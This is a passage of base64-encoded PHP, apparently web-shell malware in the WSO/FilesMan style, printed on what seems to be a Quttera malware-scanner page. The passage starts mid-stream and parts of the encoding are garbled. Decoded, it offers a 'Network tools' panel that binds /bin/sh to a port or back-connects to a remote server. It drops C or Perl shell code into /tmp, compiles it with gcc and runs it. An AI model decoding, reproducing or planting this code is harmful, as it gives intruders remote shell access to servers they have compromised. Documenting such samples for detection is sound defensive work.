NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2YzcEtTQjdEUW9KQ1dScFpTQWlRMkZ1YmMElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aUMEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwogICAgICAgIGVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICAgICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0nZyhudWxsLGbGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5wYXNzLnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz4KICAgICAgICA8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaDwvc3Bhbj48YnIvPgogICAgICAgIFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiBQYXNzd29yZDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnPiBVc2luZzogPGxhYmVsPjxzZWxlY3QgbmFtZT0ndXNpbmcnPjxvcHRpb24gdmFsdWU9J2JwYyc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JwcCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PjwvbGFiZWw+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0Jz4KICAgICAgICA8L2Zvcm0+CiAgICAgICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD0nZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsnPgogICAgICAgIDxzcGFuPkJhY2stY29ubmVjdCB0bzwvc3Bhbj48YnIvPgogICAgICAgIFNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9IiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIj4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IFVzaW5nOiA8bGFiZWw+PHNlbGVjdCBuYW1lPSd1c2luZyc+PG9wdGlvbiB2YWx1ZT0nYmNjJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYmNwJz5QZXJsPC9vcHRpb+PC9zZWxlY3Q+PC9sYWJlbD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnPgogICAgICAgIDwvZm9ybT48YnI+IjsKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICBmdW5jdGlvbiBjZigkZiwgJHQpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICR3ID0gQGZvcGVuKCRmLCAidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7CiAgICAgICAgICAgICAgICBpZiAoJHcpIHsKICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCR3LCBAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdywgQGJhc2U2NF9kZWNvZGUoJHQpKSBvciBAZmlsZV9wdXRfY29udGVudHMoJGYsIEBiYXNlNjRfZGVjb2RlKCR0KSk7CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkdyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgewogICAgICAgICAgICAgICAgY2YoIi90bXAvYnAuYyIsICRiaW5kX3BvcnRfYyk7CiAgICAgICAgICAgICAgICAk4paWID0gZXgoImdjYyAtbyAvdG1wL2JwICbXAvYnAuYyIpOwogICAgICAgICAgICAgICAgQHVubGluaygiL3RtcC9icC5jIik7CiAgICAgICAgICAgICAgICAk4paWIC49IGV4KCIvdG1wL2JwICIgLiAkX1BPU1RbJ3AyJ10gLiAiICIgLiAkX1BPU1RbJ3AzJ10gLiAiICYiKTsKICAgICAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiIC4gZXgoInBzIGF1eCB8IGdyZXAgYnAiKSAuICI8L3ByZT4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX1BPU1RbJ3AxJgPT0gJ2JwcCcpIHsKICAgICAgICAgICAgICAgIGNmKCIvdG1wL2JwLnBsIiwgJGJpbmRfcG9ydF9wKTsKICAgICAgICAgICAgICAgICTilpYgPSBleCh3aGljaCgicGVybCIpIC4gIiAvdG1wL2JwLnBsICIgLiAkX1BPU1RbJ3AyJ10gLiAiICYiKTsKICAgICAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiIC4gZXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKSAuICI8L3ByZT4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX1BPU1RbJ3AxJ10gPT0gJ2JjYycpIHsKICAgICAgICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCAkYmFja19jb25uZWN0X2MpOwogICAgICAgICAgICAgICAgJOKWliA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsKICAgICAgICAgICAgICAgIEB1bmxpbmsoIi90bXAvYmMuYyIpOwogICAgICAgICAgICAgICAgJOKWliAuPSBleCgiL3RtcC9iYyAiIC4gJF9QT1NUWydwMiddIC4gIiAiIC4gJF9QT1NUWydwMyddIC4gIiAmIik7CiAgICAgICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIiAuIGV4KCJwcyBhdXggfCBncmVwIGJjIikgLiAiPC9wcmU+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9QT1NUWydwMSddID09ICdiY3AnKSB7CiAgICAgICAgICAgICAgICBjZigiL3RtcC9iYy5wbCIsICRiYWNrX2Nvbm5lY3RfcCk7CiAgICAgICAgICAgICAgICAk4paWID0gZXgod2hpY2goInBlcmwiKSAuICIgL3RtcC9iYy5wbCAiIC4gJF9QT1NUWydwMiddIC4gIiAiIC4gJF9QT1NUWydwMyddIC4gIiAmIik7CiAgICAgICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4k4paWIiAuIGV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikgLiAiPC9wcmU+IjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgIGhhcmRGb290ZXIoKTsKICAgIH0KICAgIGlmIChlbXB0eSgkX1BPU1RbJ2EnXSkpCiAgICAgICAgaWYgKGlzc2V0KCR2YXI0KSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkdmFyNCkpCiAgICAgICAgICAgICRfUE9TVFsnYSddID0gJHZhcjQ7CiAgICAgICAgZWxzZQogICAgICAgICAgICAkX1BPU1RbJ2EnXSA9ICdGaWxlc01hbic7CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkpCiAgICAgICAgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7



© 2023 Quttera Ltd. All rights reserved.